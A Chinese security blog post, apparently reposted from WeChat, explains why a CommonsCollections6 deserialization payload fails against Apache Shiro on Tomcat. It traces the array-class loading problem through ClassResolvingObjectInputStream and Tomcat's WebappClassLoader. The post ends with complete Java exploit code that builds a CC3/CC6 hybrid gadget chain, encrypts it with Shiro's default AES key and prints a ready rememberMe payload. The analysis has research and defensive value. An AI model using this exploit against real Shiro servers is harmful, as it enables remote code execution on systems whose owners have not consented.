Shiro反序列化无法加载数组类

admin 2022年12月31日14:55:46评论24 views字数 2627阅读8分45秒阅读模式

在Shiro反序列化中,使用CommonsCollections6生成EXP会利用失败,从Catalina日志可以看到反序列化失败,提示Unable to load class named [[Lorg.apache.commons.collections.Transformer;],无法加载这个类。

Shiro反序列化无法加载数组类

在反序列化代码处下断点

Shiro反序列化无法加载数组类

跟进可以发现ClassResolvingObjectInputStream继承了ObjectInputStream,并且重写了resolveClass方法。发现Shiro使用了ClassUtils.forName方法代替了原本ObjectInputStream类中的Class.forName。

Shiro反序列化无法加载数组类

跟进ClassUtils的forName方法,先使用THREAD_CL_ACCESSOR.loadClass加载,如果不成果会依次使用CLASS_CL_ACCESSOR.loadClass和SYSTEM_CL_ACCESSOR.loadClass来进行加载,

Shiro反序列化无法加载数组类

THREAD_CL_ACCESSOR返回当前线程上下文的ClassLoader,在Tomcat中间件中,返回的当前线程上下文的ClassLoader为ParallelWebappClassLoader。跟到org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass,随后进入Tomcat的WebappClassLoaderBase类

Shiro反序列化无法加载数组类

这里首先使用findLoadedClass0()检查当前要加载的类是否已经被WebappClassLoader加载过。然后使用findLoadedClass()从java.lang.ClassLoader类加载缓存检查当前类是否已经被加载过。

Shiro反序列化无法加载数组类

尝试使用ExtClassLoader类加载器加载类。

Shiro反序列化无法加载数组类

这里如果delegate为true且类在定义的名单范围内,使用URLClassLoader家在类,

Shiro反序列化无法加载数组类

Delegate默认为false,所以在local库中寻找

Shiro反序列化无法加载数组类

findClass()会调用findClassInternal(name),

Shiro反序列化无法加载数组类

getClassLoaderResource主要在WEB-INF/classes和WEB-INF/lib/中搜索根据寻找类名,如果寻找到则将class文件字节码内容转成字节流,然后调用ClassLoader的defineClass将字节流转成class对象,从而完成类的加载。

这里由于数组类的全限定类名在转成路径时因为加入了[,所以是搜索不到的。

使用Class.forName()进行加载,加载器是URLClassLoader,对应的path中不包含WEB-INF/lib/,因此也无法加载到[Lorg.apache.commons.collections.Transformer这个类,最终抛出异常。

Shiro反序列化无法加载数组类

解决办法就是不使用数组类,使用CC3的前半部分,CC6的后半部分。

Shiro反序列化无法加载数组类

TemplatesImpl templates = new TemplatesImpl();Field nameField = templates.getClass().getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates, "aaa");
Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("/Test.class"));byte[][] codes = {code};bytecodesField.set(templates, codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry, "bbb");lazyMap.remove(templates);
Field iTransformersField = LazyMap.class.getDeclaredField("factory");iTransformersField.setAccessible(true);iTransformersField.set(lazyMap, invokerTransformer);ByteArrayOutputStream serExp = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(serExp);objectOutputStream.writeObject(map2);objectOutputStream.close();//byte[] value = serExp.toByteArray();CipherService cipherService = new AesCipherService();
if (cipherService != null) { ByteSource byteSource = cipherService.encrypt(value, Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")); value = byteSource.getBytes();}String base64 = Base64.encodeToString(value);System.out.println(base64);

原文始发于微信公众号(仙友道):Shiro反序列化无法加载数组类

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月31日14:55:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shiro反序列化无法加载数组类http://cn-sec.com/archives/1491610.html

发表评论

匿名网友 填写信息